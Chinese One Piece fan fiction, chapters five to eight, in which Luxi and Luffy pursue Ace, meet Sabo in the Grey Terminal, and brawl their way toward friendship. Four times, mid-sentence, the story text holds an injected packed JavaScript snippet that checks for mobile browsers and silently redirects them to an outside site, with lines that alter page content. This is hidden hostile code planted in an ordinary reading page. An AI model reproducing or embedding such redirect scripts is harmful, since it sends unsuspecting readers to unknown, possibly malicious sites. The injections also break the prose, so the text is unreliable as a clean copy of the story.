他才没有输呢！ 第二天的天气依旧很好，我待在山贼窝，不急着出去。路飞倒依旧很固执地追着艾斯跑。这样也好，路飞直接围堵艾斯，我则用另一种方法追踪艾斯。 迟早能抓住他。 而且，兰迪之前对我说的那个叫萨博的男孩，我也有点在意。我今天会在不确定物终点站待久一点，让兰迪他们帮我注意是否有萨博的动静。 既然能和艾斯玩在一起，性格应该同样好不到哪里去。 大约日头升了一半高，我才拿着达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039736|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旦准备好的食物去往不确定物终点站，顺便从达旦的柜子里拿了点伤药。当然，我并未完全放松警惕，全然相信兰迪他们为专心为我干事。 毕竟是在垃圾坟场生活了这么久的人，昨天他们有可能因为疼痛的原因，暂时屈服于我，今天说不定就改变了想法，要集合起来围攻我。 我在路上作着最坏的打算。 好在，到达不确定物终点站时，我没有遇见这样的情况。兰迪他们似乎是真的准备认我当老大，我把食物递给他们，一同给出的还有伤药。 有人嘟囔道：“老大你是哪里来的啊？” 我没回他，问道：“有萨博的情报吗？” 兰迪第一个回答：“昨天没人看到。” 我点了下头，兰迪很有眼色的继续为我介绍萨博的事。 据说他是五年前出现在这里的，而艾斯则在更早的时候就小有恶名了。没人清楚这两个人是怎么认识的，总之，忽然有一天，他们便开始共同行动，为祸四方。 “两个都是很讨人厌的小鬼。最早的时候还能抓住他们打一顿，后来他们越来越狡猾，而且打架技术也越来越强，总之，我们几乎拿这两个小鬼完全没办法了。哦当然老大你肯定跟他们不一样，如果是老大你，肯定能轻松解决吧。” 兰迪很会夸赞人，但我不喜欢他这种时候这样夸赞我。因为已经有其他人附和，“是呀老大，要不先抓住这两个人给他们一个教训吧。” “我也是，以前被他们抢过东西。好不容易找到的珍珠项链啊。” 兰迪用语言把我高高架起，我就知道。只是用计揍了他们一顿，还是在混战中闯进去的，他们果然没有那么容易屈服，但因为我保证提供食物，所以也没有直接反击。 可这种语言的试探我也不喜欢。 真烦人。 我开口道：“在那之前，先把我们的反抗军成立起来，吸引更多人。两个小鬼或许很厉害，但我们的目标是哥亚王国，解决他们是顺路的事，不是重点。” “明白了，老大。” 其实我每天都可以和艾斯见到呢，不清楚他们是否知道这一点。毕竟第一天我和路飞来到不确定物终点站时，他可是直接在里面喊着找艾斯。 如果这群人中有几个在那里，或许便能意识到我们相识这件事。我接下去几天的生活过得与这一日没什么差别，只是在晚上回来的时候，艾斯有时会疑惑地看我一眼，以前追着他跑的人只剩下了路飞一个，他好像多少有点不适应，但更多的可能是好奇我都去干什么。 我没和艾斯说，和路飞也只是透露一点，我在做一件可以完成我梦想的事。 路飞对有梦想的人一向很尊敬，认为持有梦想，并努力去完成梦想的人非常了不起，其实他自己也是这样的人，会为了成为海贼王十分努力。 路飞没有来干扰我，只是会每晚来问问我的梦想情况如何。我也诚实跟他回答：“有点进步，但也没太大进步。” 那究竟算是有进步还是没进步呢？路飞才不管这些，只会鼓励我：“路希加油！” 艾斯那边直接把被子盖住了脑袋。 我们这样的生活持续了一周，我在不确定物终点站组建的反抗小队也增加了三个人，不是很多，但至少不是毫无收获。而且一口气加入太多对我并不友好，食物依然是个问题，或许我应该提前去端镇看看。 但是在那之前，先有一个缺了一颗牙齿的金发男孩找到了我。“哟，你就是路希吧？” 5. 章五 萨博是从艾斯口中得知路希与路飞存在的。 他五年前离家出走，摆脱贵族生活，来到不确定物终点站，与艾斯相遇。两人成了朋友，在这一带横行霸道。 萨博有个当海贼的梦想，艾斯也是，两个人在这五年内存着钱，作为自己出航的启动资金。 一切原本并无什么，生活风平浪静。直到艾斯有一天来到，说达旦一家多了两个小鬼，是双子。 那个海军臭老头带过来的，让她们从此就生活在这里，与艾斯和平相处。 萨博笑着说你该不会真要和她们一起好好生活吧。 艾斯说当然不可能，他已经在路上甩掉这两个人了。太蠢了，还想跟踪，当然给了点教训，现在恐怕正在科尔伯山的某个地点哇哇大哭吧。 萨博很虚情假意地说，里面还有个女孩子吧，这样太粗暴了。 艾斯嗤笑一声，他才不管什么女孩男孩，缠着他的就是很烦。 本来以为就这样过去了，那两个比他们小三岁的孩子受到这种欺负，绝不会继续纠缠艾斯。结果第二天，依旧没有摆脱。 两个烦人的小鬼死死跟在后面，就是不放弃。 一天、两天。一个星期、两个星期。 快要一个月了吧。 是啊。 两人在秘密据点对话着，还真是有毅力。 每天还会坚持道晚安和早上好，麻烦死了。小鬼就是小鬼，谁需要这些啊。 但是，这样抱怨着的艾斯，语气并未如最开始那般坚硬。萨博注意到这个人望着不确定物终点站的前方，那里烟雾缭绕，是不会突然出现两个小鬼跑过来的。 艾斯或许期待着什么，可能连他自己也不清楚。 为什么要这样缠着他？明明她们两个人可以自己玩吧。一起出生一起长大，肯定会比和他这个陌生人相处的舒服。然而却还要一天天的追在他身后，说着做朋友啊一起玩之类荒谬的话。 他才不需要呢。有萨博一个就差不多了。 偶尔也会有一些不服输的话，什么今天她们两个人捕猎来的食物竟然比自己多，两个人合作太狡猾了。而且还会在面前炫耀，说看艾斯，这是我们今天抓到的哦！大丰收！ 最讨厌这种人了！明天一定要让她们好看，谁才是这个家的老大。 总之一定不会是达旦。 萨博有时会开个玩笑，笑他是不是有些太在意这两个人了。艾斯恶狠狠反击，谁在意，如果你整天被两个吵死人的小鬼跟在后面也会这样的。 萨博耸肩，还好他不是那个被缠住的人。 说起来那两个人对这里的情况也熟悉了起来，艾斯为摆脱两人每天的追踪花费了不少力气。 照这种情况，会不会有一天被她们发现这里？ 艾斯躺在树干上，闭着眼休息，淡淡回答，我才不会让她们发现。 做出肯定的答复后，他像是想到一件好笑的事，忽然起身，对萨博说道，你知道吗，萨博。昨天晚上那个叫路希的居然说自己在画地图，我就在奇怪这几天她都涂涂抹抹干什么呢？ 科尔伯山的？ 嗯，笑死人了。她连名字都记不住，把科尔伯山叫做科波波山，就这样还想画出地图。 名字的话用简称倒也正常，这种东西都是怎么方便怎么来的，最重要的是对方画的地图内容。萨博很想这样跟艾斯说，但看着艾斯嘲笑那个叫路希女孩的样子，他摆摆手，反正小孩子画出的地图，应该也不能当真吧。 艾斯继续说道，说起来要不要把她的地图偷过来呢？ 萨博流汗，不，这个就算了吧，欺负女孩子不太好，而且她肯定会把矛头对准你，到时候你更加烦了。 也是。那家伙还说今天要和那个叫路飞的一起去探索新地点，不知道去了哪里。 怪不得你今天来得时候一脸无聊的样子。 我才没有，只是因为不能看她们狼狈的样子很没意思。 萨博讪笑，哈、哈、哈。 说起来，我还有一个问题。 艾斯闷闷道，萨博看着他，很是疑惑，有什么问题能困扰到他。 艾斯坦然问道，为什么女孩子和男孩子不能睡一起。 萨博：…… 萨博：你可以告诉我你为什么要问这个问题吗？ 艾斯是突然想起来的，在昨日路希说自己在画科尔伯山地图后，他躺在床上，听着路飞缠着他让他多说几句话聊天。不知为何就想起了第一日她说的这句话，明明要缠着他做朋友，结果居然还要在房间里画分隔线，不让男孩子进去。 他完全搞不懂。 艾斯老老实实地告诉了萨博。 萨博意识到艾斯在性别方面也许是个白痴。他觉得直说了艾斯也不一定会懂。于是他开口解释道，因为男性和女性就是不能睡在一起的。除非是夫妻关系。 艾斯：…… 艾斯：哦。 萨博觉得艾斯肯定还没搞明白，但他不准备细说，因为太麻烦了。反正不是什么大问题，而那个叫路希的女孩显然有点常识，不像自己的这个朋友一无所知。 他们一如既往地度过今日。 第二天艾斯来报告新情况，说路希和路飞发现了不确定物终点站，在他面前耀武扬威。 而且还说些什么啊，艾斯的表情有些扭曲，看不清真实想法，只知道语气很是不耐，但就萨博而言，他感觉艾斯像在隐藏着什么情绪。 艾斯说那个叫路希的女孩大言不惭，居然说迟早有一天会和路飞会抓住他，绝不松手。到那时他必须成为她们的朋友。 很让人不爽吧！艾斯抱怨道，迟早有一天要让这两个人狠狠吃苦头。 萨博心想你的表情好像不是这样的。不过他有预感或许过不了多久，她们说不定要相见。 直到又过几天，艾斯臭着一张脸来到这里，对他说，那个叫路希的臭小鬼一天到晚不知忙些什么，不追着自己跑了，只有叫路飞的还在追着自己。 萨博带着微妙的眼神听着艾斯絮絮叨叨，这个人现在分明超不爽。 我就知道，这种小鬼说的话不能信，说过就忘，一看做不到就马上放弃，笑死个人，还说会抓住我，果然一开始不跟他们做朋友是对的…… 他插话，话说那个叫路飞的还在追踪你吧。 艾斯顿了一下，说，反正估计过几天也和那个路希一样放弃了吧。 他一脸无所谓，萨博长长的诶了一声，问道，但是那个叫路希的不追着你跑，也不跟路飞玩，到底去做什么了？ 艾斯不屑一顾。 鬼知道。说要去实现她的梦想。 梦想？ 嗯。 你知道是什么吗？ 不知道，她和路飞也没说什么，神神秘秘的。不要在讨论这两个人啦，来算算我们目前为止存的财宝。 于是他们转而算起自己的资产。艾斯看起来好像完全放下了，接下去也没有提起这两个人。萨博不太清楚他这个伙伴的内心想法，不过他倒是升起了些许好奇心。 路希的梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039737|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想会是什么？过家家酒的游戏？还是说和他们一样当海贼，应该不会有这种事吧。但是，如果对方真的想当海贼，岂不是要来寻找财宝，作为出海的准备金。那就是说接下去极有可能在不确定物终点站相遇？ 萨博抱着这样的想法，在不确定物终点站与端镇闲逛的时候，留意了一下有没有差不多年龄小孩的信息。 没什么出乎他意料的，路希似乎还没来过端镇，但是不确定物终点站倒是有看见过两个小孩的情况。 其中一个是路飞，另一个是路希，但与路飞在喊着艾斯找人引起观察不同，女孩子很安静，只是到处逛逛，不知在干什么。 萨博不觉得有耐心用一个月画出科尔伯山路线的人只是单纯来闲逛，她是在干什么呢？ 他有意见路希一面，于是在艾斯还没来的时候一个人在不确定物终点站乱逛。那家伙是个女孩吧，如果看见了，应该很容易认出来。 幸运并未很快降临到他头上，但萨博也不是个轻易放弃的人，一天不行就两天，反正只要路希会来不确定物终点站，总有一天会碰见。 今天他也如往常般在这座垃圾的坟场游荡着。 最近，似乎是由于有意为了找到路希，他对这里发生的一切观察的更仔细了，也因此意外偷听到一些人的小声对话。 好像是有人在邀请他人加入一个什么什么团体，要做什么不知道，总之可以每天保证提供一份肉当一餐。 那可是肉啊。 在这种垃圾堆，算是相当不寻常的事了。没什么人会好心肠提供自己的食物给别人吃，更别说是每日稳定一餐。萨博在这里生存了五年，第一次听说这样的是。 不可思议。 他首先排除了哥亚王国里的那些贵族，他了解的，他就是从那里面出来的，虚伪、肮脏、自大、愚蠢的贵族们，平民的性命对他们不及自己的货物，因为货物可以让他们赚到钱，而运送这些货物的平民呢，受伤了也无所谓，死了也无所谓。 哥亚王国就是那种地方，他的母父是这样，其他人的母父也是这样，带头的皇族更是丑陋中的丑陋，他因为厌倦了这些虚伪的一切，才出逃的。 不是贵族，那会是谁？ 端镇的地痞流氓们自己也不一定能稳定三餐，更不会有其他好心人。越是有钱，嘴脸就会变得越像那群贵族靠近。 艾斯生活的达旦一家吗？不可能，她们自己都是凭借艾斯养活的。 那就是说—— 萨博想起艾斯先前说的话：说要去实现她的梦想。 路希与艾斯一样，是能够去捕猎回来养活达旦一家的人。 那家伙在绘制地图，结果连科尔伯山的名字都记错了。 艾斯的嘲笑仿佛仍清晰的在耳边回响。 路希绘制地图到底为何？为什么画的差不多就不追着艾斯跑了？她要去实现她的梦想。 数个念头在萨博的脑中回荡，答案呼之欲出。 说不定就是她搞出来的，他兴奋地想。而仿佛是为了验证他的猜想，站在高高垃圾堆上的萨博，终于看见一个女孩的身影。 小小的，大概和他与艾斯差不多高。黑色头发黑色眼睛，手里拿着一根水管，和他们一样。有些警惕地观察着周围的环境。 萨博快乐地笑出声，从垃圾堆上跳下去。他要去好好会会这个之前一直缠着艾斯做朋友的女孩。 萨博走近路希，迎着对方有些困惑的眼神中，发挥前贵族的修养，友好行礼，打招呼道：“哟，你就是路希吧？” 6. 章六 眼前的男孩金色短发，缺了一颗门牙，戴着一顶黑色帽子。身上穿着居然是……蓝色燕尾服吗？甚至还有领结。穿的还是靴子！ 我震惊了。 虽然这个男孩的衣着有些破损，但整体而言做工精致，称得上华丽的程度。普通家庭的孩子哪里会这么穿啊。像我和路飞还有艾斯，都是每天穿着T恤和大裤衩就直接往外面乱跑的。鞋子就更不用说了，路飞还天天穿人字拖出门呢。 我犹豫了，这个人会是萨博吗？ 这个小孩好像哪个贵族家庭跑出来的哦。但是他一碰面就叫出了我的名字，而且还拿着和艾斯一样的水管，也就是说，他极有可能是萨博。 艾斯在和一个贵族家的小孩当朋友？贵族家的小孩居然在垃圾坟场？ 我果断开口了，单刀直入。“你就是萨博？哪个贵族家跑出来的小孩啊？” 贵族家的孩子来这里玩扮演平民游戏吗？ 对方瞪大了瞳孔，好像没想到我会说出这样一番言论。怎么了嘛？稍微了解一下，就知道这里最臭名昭著的两个小孩是艾斯和萨博，我认识艾斯，那知道他是萨博不很正常。 我完全不理解他震惊的点，这家伙刚才得意洋洋地跳下来，是把我当傻子看待吗？ 萨博：“什、什么贵族？我不知道啊，我就是在这里长大的。” 我：“……” 震惊的原来是这个点吗？但我不得不说，这个人脸上的表情……完全不会骗人呢。 我耐心解释：“这里出生的小孩才不会像你这么穿。”我指指自己身上已经打了好几个补丁的破烂T恤，“看，我们都是这样穿的。” 萨博恍然大悟，“原来如此，是衣服的问题啊。” 我点头。 对方又争辩道：“不、不对。我就是这里长大的，身上的衣服是从垃圾堆里扒拉出来的，因为很好看所以一直穿着啦！是真的！” 我：“……” 这家伙真要这么坚持我也不会强迫说什么，我姑且也算一个非常善解人意的小孩。 “哦，我明白了。那萨博，你找我有什么事？” 那家伙没回答我的提问，而是感叹道：“你……真是恐怖的人啊。” 我缓缓冒出一个问号。 “就算你这么夸我，我也不会放松对你的警惕心的。” 萨博：“……不我没有夸你。” 我：“说我恐怖不是在夸我吗？” 萨博：“这应该不是夸人的词吧。” 我：“不，这就是啊。” 恐怖当然是夸我的词，因为我的梦想是当世界之王。让人感到恐怖，才是世界之王实力的体现吧。 萨博：“……” 萨博准备收回先前认为对方有常识的看法，这家伙绝对在哪些方面也有点问题。 我有些不耐烦了，说半天没见正题，这人虽然看起来好相处，但实际上也很难搞呢。我直接问道：“你找我到底要做什么？” 萨博耸耸肩：“也没什么，正巧看见了，想和你认识一下。” 他才不会说自己专门来找她的呢，就刚才的对话来看，感觉对方一定会相当得意。 我有些困惑。 “你不是和艾斯是朋友吗？” 萨博点头：“是啊。” “艾斯一直在躲着我和路飞，不想和我们当朋友。你为什么要出现在我面前？这样的话，我就可以抓住艾斯了。” 萨博像是听见了什么好笑的话，看着我笑道：“你为什么那么有自信？我也很会跑的。” 我自信满满：“我在这里待了一个多星期，不说全部了解，可至少熟悉很多。而且我先前和路飞追艾斯追了一个多月，非常有追人的经验！” 萨博：“……” 他是不是应该夸她和路飞一下追了一个多月没追上，还坚持着不放弃的毅力？不过此时此刻该说的应当是：“那你来追我试试看吧！” 我果断拒绝：“不要。” 刚想跑的萨博踉跄一下：“为什么——？” “我很忙的！除了不确定物终点站，我还想去更里面的端镇瞧瞧，不过好像不能随意进入呢。” 居然是因为这种理由吗？ 萨博回道：“是啊，一般会有守卫在门口，只有外面的人拿到什么好东西了才能进去交易。”他接着问道，“你为什么想进去？” 我眨眨眼：“我为什么要告诉你？” 萨博：“……” 她确实没有理由告诉他。 萨博的眼珠子转了转，狡黠道：“这样吧，你告诉我你想进去做什么，我就把你带去艾斯那里。” “是你们的秘密基地？” “算是。” “你必须先带我去才可以。” “不行，我可是冒着艾斯生气的风险才带你去的，你得先告诉我。” “那你就是不会带我去，你在对我说谎。” 萨博小小吸了一口气，这个人真的很难搞诶，一点都不好骗。他原本计划着知道了直接跑掉。凭他对这里的地形了解，这家伙一时半会绝对抓不到他。结果她根本不上套。 “那就没办法了，你继续抓艾斯吧。” 我摇摇头：“我接下去大概没有那么多时间，虽然很想抓住艾斯让他和我们做朋友，但这件事只能交给路飞了。” 萨博真的很好奇，“你到底想在这里干什么？” 对方继续对他眨眨眼：“秘密。” “是和你的梦想有关？” “艾斯果然有在和你讨论我和路飞的事情吧。” “一些闲谈罢了。” “我真的很好奇，为什么艾斯这么不想和我们做朋友呢，你也是。” “呃……” 真要说理由，萨博自己也不清楚。他所得知的两人信息全部由艾斯传递，艾斯不想让她们过来，发现秘密基地，于是他也同样。但现在对方却用诚恳的眼神看着他。 “带我去吧，萨博！其实就算你现在不带我去，凭借路飞的坚持和我的能力，迟早有一日我们会发现的。” 萨博转移了话题，“那为什么你们这么努力想和艾斯做朋友呢？” 对方回答得理直气壮：“因为我们就是要和艾斯做朋友！” 太过坦荡的回答，反而让萨博有些伤脑筋。说实话，他对于路希和路飞这两个人想做什么都是无所谓，只要不会影响到艾斯和他未来的梦想便好。而做朋友，明显不会有什么恶劣影响吧。何况，艾斯分明也有点动摇。他还记得那人因为路希放弃追踪他而生气呢。 “那好吧，我可以带你去找艾斯，不过你要自己跟上才行。跑丢了与我无关。” “我当然会跟上。” 这个女孩子有能力跟上吗？他会拼劲全力，因为这也是一场比赛，比赛的结果要证明路希这个人以后不会给他们拖后腿。 萨博一路奔跑，翻过垃圾堆，穿过秘密小道，从狭窄的空间通过，东拐西弯，时而朝身后紧追不放的路希扔些障碍阻止她，直到最后来到一颗粗壮的大树下，他扶着双腿，气喘吁吁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039738|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路希跟在他身后，没有跟丢。 * 我跑得简直腿都快要断了，萨博看上去也没好到哪里去，满头是汗，脸颊通红。我保证他一定绕了远路，可我才不会那么轻易说放弃，好不容易有抓住艾斯的机会。 哼，是我赢了。我提前一步发现了艾斯的秘密基地和朋友，路飞的失败！ “你可真行啊，居然真的跟过来了。” “因为我就是很厉害！” 萨博毫无形象的翻了个白眼。我问他，“这里哪里像秘密基地了，不就是树林边缘吗？” 萨博笑了，指指头顶，“上面，得爬上树干。” 我老实道：“我在休息会。” 我还有点累呢。 结果艾斯就突然从树林中窜出来了。他脸上的笑容还没收回去，刚想和萨博打招呼，紧接着便发现在萨博旁边的我。我看着艾斯表情凝固了了一秒，然后闭上嘴不出声。 我看着艾斯，艾斯死死盯着我。我和他大眼瞪小眼。 艾斯：“……” 我：“……” 萨博：“哟，艾斯，今天也甩掉路飞来了吗？” 艾斯看了一眼萨博，又看了一眼我，表情几乎快要扭曲。他一把抓住萨博，把他带得远远的说悄悄话。我在他们身后做了个鬼脸，我才懒得听，反正肯定是质问萨博怎么回事。 * “萨博——！” 萨博感觉对方握住自己手臂的手加大了力气，他不好意思笑道：“哈哈哈，就是那个……” “我可是好不容易把路飞那个小鬼甩掉了，结果你怎么被抓住了！怎么回事？！” 萨博挠挠脑袋，真有些不好意思开口说，可这件事总要解决。而且确实如路希所说，他们能这样躲多久，迟早有一天会被发现的。既然如此，不如趁早把主动权握在自己手里。 他开口解释：“我去不确定物终点站逛了逛，看看有没有什么值钱东西。结果正巧与她撞个正着，被她认了出来。” “可恶，我就知道，这个小鬼肯定另有打算，原来是准备在那里抓住我。” 虽然萨博觉得事实真相不是这样，而且其实是他准备先去会会路希的。不过他耸耸肩，没说。而且艾斯这人，脸上表情好像在发怒，说话的语气里倒是带了几分欣喜。 他其实还蛮在乎路希和路飞这两个人的吧。 艾斯开口道：“这处秘密基地不能要了，我们得换个位置。” 萨博摇头：“那要换到哪里去？” 艾斯：“不知道，总之先找找。” 萨博开始劝说：“我说啊艾斯，你为什么这么不想和这两个人做朋友？” 艾斯秒答：“因为很烦。” 萨博：“老是这样躲避她们跟踪也不是办法，既然能找到第一处，那也总会找到第二处，不如现在直接在这里跟这个女孩摊开说，我刚才和她聊了几句，感觉不是听不进人话的人。” 艾斯：“……你不会被她撺掇了吧？” 萨博：“我可是你的朋友！” 艾斯：“……” 艾斯有些别扭，“和那种小鬼有什么好说的？” 萨博：“那也不能不说吧，你看她都追到这里来了。反正到时候看她的回答，我们再做打算！” 艾斯咬咬牙，萨博说得不是不无道理，何况每天一直被追着跑真的很累。现在这两人还分开行动，一个跟在他后面，一个在垃圾堆围堵。烦！他做出决定，脸上摆出一副凶神恶煞的样子。“那我就和她好好聊聊。” 7. 章七 我很是无聊地盘腿坐在地上，拔着地上的草叶，过一会听到动静，抬眼一看是艾斯凶着一张脸气势汹汹走过来。 感觉像要把我吃了一样，我小声嘟囔着。 艾斯来到我面前站定，恶狠狠道：“喂，你给我站起来。” 我对他做了个鬼脸，随后跳起来，叉腰得意洋洋地看着他。 他果然很不爽，生气问道：“你这是什么表情！” 我说：“我抓住你了，从现在开始我们就是朋友了！” 艾斯抽抽嘴角：“你抓住的又不是我，而且你肯定用了什么狡猾的手段抓住萨博的。” 这人真是不服输！我抗议道：“我才没有，我可是认认真真跟在他后面来到这里的。” “我才不相信。” “那是你的问题。而且说到底，艾斯你究竟为什么这么讨厌我和路飞啊！第一次见面也是，直接对我们吐口水，太没礼貌了！” 艾斯：“……” 艾斯憋了一会说道：“那是因为你们看起来就很讨厌。” “才没有，风车村的大家都很喜欢我们！” “那里的人喜欢你们关我什么事啊？！” “怎么会没有关系！风车村的大家喜欢我们，说明我们很好，所以你也应该喜欢我。” 萨博震惊了，什么强盗逻辑理论。艾斯显然和他同样，张张嘴愣是没说出什么。 我看着这两个人欲言又止的模样，总结道：“所以我们现在就是朋友了。” 艾斯：“……” 艾斯：“……才不是。” 这下我是真的不爽兼耐心耗尽了。明明已经好声好气跟他说了这么多，结果这个人还是不领情，我放弃了用语言让他臣服，决定直接打败他。 我直接把草叶子往艾斯身上一甩，然后扑过去，抓住他的衣领，将他推到在地，自己则坐在艾斯身上，压住他，让他难以行动。 “那就用实力来说话！我要把你打到当我朋友为止！” 我今天绝对要让这个人成为我的手下败将。 艾斯：“……你这个家伙！” 他也生气了！哪有这样的人，当朋友不成竟然就直接上来打他！艾斯打架毫不留情，对谁都一样。因此他挣扎着，直接仰卧起来试图用头撞击对方。 萨博在一旁直接看懵了，等一下——事情怎么就发展到了这个地步，为什么忽然打起来了啊！萨博下意识就要劝架，虚伪的贵族教育让他留存了些浮于表面的贵族礼仪，譬如不能对女孩子出手。 “等、我说等等……” 然而事情的发展并不如他所愿，路希一把抓住了他推向艾斯。 …… 为了躲避艾斯的拳头攻击，我只能闪身躲开，但这样原本的平衡便出现了差错，接下来不好制服艾斯，我心念一动，看见站在旁边试图劝架的萨博，一把抓过来当肉盾。 既然事情都已经发展成这样了，如果我失败，跟萨博显然也无法当朋友。那还不如直接把所有招式都用上，先赢了再说！ “可恶……喂萨博，不要挡在我面前。” “我也不想的啊！” 好险好险，刚才艾斯的拳头差点就落在他脸上了，还好这小子及时收力。话说他怎么就莫名牵扯进来了？！ 我趁着艾斯收回拳头，重心不稳的阶段，越过萨博一个扫堂腿直接袭向艾斯，这下他没法躲了，踉跄一下摔倒在地，我扑上去就要给他一拳，同时大喊着：“快当我和路飞的朋友！” 老老实实听我话吧，臭小子！ “等下——不准打艾斯！” 正要挥拳之时却听见身后萨博的喊声和跑步声，原来是见艾斯挨打来帮他。他也扑向我，我们三个扭打成一团。原本应该是一打二的情况，但毕竟没有友方伤害免疫，混战中难免会弄错目标对象。有时是我打了艾斯一拳，艾斯想打回去却不凑巧打到萨博脸上。或者就是萨博和艾斯想联合起来给我一拳，但因为我躲闪及时导致他们互相给了对方一拳。不过也有我结结实实挨了拳头的情况。 我们都没有手下留情，打到最后三个人都没了力气，浑身挂彩，躺在地上直踹气。 可恶，没赢！不过也不算输，只是平局。我琢磨着下次再战，还可以把路飞带过来，就是不知道下次来的时候他们的基地还会不会在这里。 天渐渐黑了下来，太阳落山，有星辰出现。 “啊，明明这里老是很多烟，结果抬头看还是能看到星星呢！” 我本来很累，但感觉发现了新事物一样，又兴奋了起来。在风车村的时候晚上倒是经常会看星星，然后和路飞一起畅想我们的梦想。不过自来到科尔伯山，每天忙着追踪艾斯，捕捉猎物，反而很少有时间抬头看星空，忙活一天回到房间倒头就睡。 艾斯也看着星空，他现在确实没什么力气站起来。不过不知为何，或许是身体的疲倦，心灵反而逐渐平静下来。 萨博笑道：“因为这里的烟雾不会飘到天上，遮盖星空啊。” “好漂亮……明明天上的风景这么好看，地上确是垃圾堆呢。” 艾斯摆着一张脸说道：“这里就是这种地方，在讨厌也得待在这里。” 我应道：“我不会一直待在这里的，我还有不得不做的事情呢！” 这下萨博起了好奇心。 “你想做什么？这几天也是一直在不确定物终点站吧，难道只是为了围堵艾斯？” “不是啊。” “那是在做什么？” 我歪歪脑袋看向萨博：“你想知道？” 萨博：“嗯嗯！” 我果断拒绝。“不行，我们之间还没有建立起那种朋友的信任吧。” 萨博：“……” 艾斯“嗤”了一声，“你还没放弃啊，究竟为什么这么想要和我做朋友？” 我老实回答：“因为路飞想和你做朋友，所以我也想和你做朋友。而且，我还想把你打败当我的手下败将。” 萨博和艾斯：“……” 艾斯抽抽嘴角，就知道这家伙没安好心。 萨博很是无力：“你为什么想打败艾斯当手下败将？” 我理直气壮答道：“因为第一次见面他就对我和路飞吐口水，没素质没礼貌没道德。” 艾斯恼怒了。“那还不是因为你们看起来很烦。” 我：“你之前已经说过一遍了。” 艾斯：“要你管。” 我：“所以我们现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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我提出建议：“那就这样，在路飞跟上你之前，我和你维持之前的非朋友关系。但是如果路飞跟上你，发现了这里，你就必须得承认他也是你的朋友。然后呢！我们四个人就可以一起当朋友啦！也就可以分享四个人的梦想和秘密！” 艾斯：“……” 艾斯视线从天空落到一旁的草地上，声音变得小小声：“随便你。” 萨博接受度良好：“那就这样决定了。” 我重重点头：“嗯！” 我们又在这里休息了一会，接着趁着夜风归家，萨博不跟我们走，他有另一处地方睡。我琢磨着等路飞也认识了他之后，便可以把萨博也带来达旦一家那里睡。反正这处山贼窝已经完全是我的地盘了，何况达旦养三个小孩是养，四个小孩也是同样养。 因为先前和艾斯打斗体力耗尽，我们回去的速度并不是很急，穿过树丛、穿过溪流、穿过栈桥，我还是第一次这么慢的在科尔伯山行动，夜晚的山林比白天更加危险，但是似乎因为有同伴的原因，反而变得安心起来。 我和艾斯回到达旦小屋时，路飞已经回来了。他今天也没能成功追踪艾斯，我这边倒是有萨博的意外收获，可因为先前的约定，还不能说出来。 不过，我知道路飞一定会很快做到，因为我成功了，所以路飞一定会成功。 我冲守在门口观望情况的路飞挥手大喊：“路飞——我回来啦！” 8. 章八 路飞直接一个弹射朝我冲过来。 “路希——艾斯——你也在啊！” “嗯，我今天和艾斯碰见了！” 路飞羡慕道：“真好啊，我今天追踪艾斯又失败了。” 我安慰他：“没关系，一定有一天会成功的。在那之前我都会陪着你。” 艾斯丝毫没有加入我们对话的意思，径直走了过去。我对着他的背影做了个鬼脸，路飞这时才发现我身上有打架受伤的痕迹，追问起来。我摇摇头，表示没什么。 “等会去达旦房间那点药膏涂一涂就好了，比起这个，我饿啦！” “我给你抢了晚饭看住了哦！” “谢谢，路飞！我最喜欢你啦。” 吃完晚饭后我火速泡了个澡，涂抹伤药时忽想起艾斯身上的伤口，也不知他有没涂过。总之先带点回去。 路飞还在洗澡。 艾斯已经躺着准备入睡了。 我看了一眼地上的分隔线，不确定他有没有熟睡，小声喊道：“艾斯——艾斯——” 他翻了个身，那就是醒着。 于是我干脆利落地把伤药扔过去。 “这是我从达旦那里那来的药膏哦，你记得涂一下！” 艾斯沉默了几秒，然后回道：“不用你管。” 我耸耸肩，这人真的不会好好说话诶。但无所谓啦，反正我今天差不多算和他成为了朋友，我对朋友脾气的包容性可是很强的。而且他打架也没打过我。 虽然基本是平局，还有萨博参战，可我认定那就算我赢。拥有点超强自信又不会坏到哪里去！ 之后几天的生活照旧，路飞追他的，我忙我自己的。不过给了兰迪他们一伙人食物后，我不再是漫无目的的在不确定物终点站闲逛，而是与萨博汇合。 “你到底在做什么？” 